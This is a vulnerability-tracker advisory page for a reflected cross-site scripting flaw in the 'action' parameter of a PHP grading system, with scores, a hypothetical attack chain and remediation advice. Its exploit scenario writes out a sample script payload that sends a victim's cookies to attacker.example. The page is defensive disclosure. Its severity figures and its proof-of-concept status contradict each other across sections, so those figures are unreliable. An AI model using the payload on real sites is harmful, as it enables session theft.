Skip to main content

CET Grading System EUVDEUVD-2026-36656

| CVE-2026-12176 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-13 VulDB GHSA-p2hp-3j63-rx7r
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious URL with XSS payload in `action` parameter
  2. Delivery
    Deliver link to target user via phishing or embedded link
  3. Exploit
    Victim clicks link and browser renders `/index.php` response
  4. Execution
    Injected JavaScript executes in victim's browser within application origin
  5. Impact
    Attacker exfiltrates session cookies or performs actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must be using a browser session with the SourceCodester CET Automated Grading System with AI Predictive Analytics 1.0 accessible over the network, and must interact with a malicious link or form submission containing the injected payload in the action parameter (UI:P). No authentication or special privileges are required from the attacker side (PR:N). Exploitation is limited by the requirement for victim user interaction - automated mass exploitation without social engineering is not viable given UI:P. The application must be network-accessible (AV:N); installations restricted to localhost or internal-only networks with no external link delivery would significantly reduce risk. No specific non-default configuration is required; the flaw exists in the base /index.php endpoint.

Impact

The CVSS 4.0 base score of 5.3 (Medium) is consistent with a reflected XSS requiring user interaction (UI:P) and carrying only low integrity impact on the vulnerable system (VI:L), with no confidentiality or availability impact reported. The E:P exploitability modifier confirms publicly available proof-of-concept code, raising the priority above a purely theoretical medium finding. This vulnerability is not listed in the CISA KEV catalog, so confirmed active exploitation is not established. The attack vector is network (AV:N) with no complexity (AC:L) or privilege prerequisites (PR:N), meaning the barrier to exploitation is low once a victim is socially engineered. The primary real-world risk is session hijacking, credential theft, or phishing via DOM manipulation - outcomes not fully captured by the VI:L metric alone. Given the target audience (academic grading systems, likely smaller institutions with limited security tooling), the social engineering surface may be broader than typical enterprise targets. EPSS data was not provided; without it, exploitation probability cannot be quantified beyond the E:P signal.

Exploit ScenarioDerived

An attacker crafts a URL targeting /index.php with a JavaScript payload embedded in the action parameter (e.g., action=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>) and delivers it to a logged-in user via phishing email or malicious link. When the victim clicks the link, their browser renders the injected script within the application's trusted origin, allowing the attacker to exfiltrate session cookies or perform actions on behalf of the victim. Publicly available proof-of-concept code confirmed via VulDB (https://vuldb.com/submit/837732) lowers the skill requirement for this attack.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 13, 2026

Cross-site scripting in SourceCodester CET Automated Grading System with AI Predictive Analytics 1.0 allows remote attackers to inject and execute arbitrary JavaScript in a victim's browser via the unsanitized action parameter in /index.php. Publicly available exploit code exists (CVSS 4.0 E:P), and the attack requires no authentication, only that a victim interact with a crafted URL or request. No vendor-released patch has been identified at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis. The primary remediation is to apply proper output encoding for the action parameter in /index.php using PHP's htmlspecialchars() with the ENT_QUOTES flag before any reflection into HTML context, and to validate that the parameter value matches an expected allowlist of actions. If the application cannot be immediately patched, operators should consider deploying a Web Application Firewall (WAF) rule to block requests with script injection patterns in the action parameter - note this is a compensating control only and may be bypassed with encoding variants. Restricting access to the application to trusted internal networks or authenticated VPN sessions will eliminate the network-exposed attack surface at the cost of external accessibility. Administrators should monitor VulDB entry https://vuldb.com/vuln/370818 and https://www.sourcecodester.com/ for any upstream patch release.

Affected VersionsENISA

CET Automated Grading System with AI Predictive Analytics 1.0

Affected Packages

euvd cet_automated_grading_system_with_ai_predictive_analytics no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected product is a PHP-based educational web application developed by SourceCodester, identified by CPE cpe:2.3:a:sourcecodester:cet_automated_grading_system_with_ai_predictive_analytics:*:*:*:*:*:*:*:*. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting), specifically a failure to sanitize or encode user-controlled input in the action GET/POST parameter before reflecting it into HTML output within /index.php. This class of flaw arises when server-side PHP code passes unsanitized user input directly into rendered HTML without applying functions such as htmlspecialchars(). The wildcard version specifier in the CPE string suggests all available releases may be affected, not just version 1.0.

Know when Cet Automated Grading System With Ai Predictive Analytics gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS with no auth required, victim must click; scope changes as script executes in browser origin beyond the server component.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 14, 2026 - 00:22 NVD
MEDIUM LOW
CVSS changed
Jun 14, 2026 - 00:22 NVD
5.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A vulnerability has been found in SourceCodester CET Automated Grading System with AI Predictive Analytics 1.0. The impacted element is an unknown function of the file /index.php. The manipulation of the argument action leads to cross site scripting. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy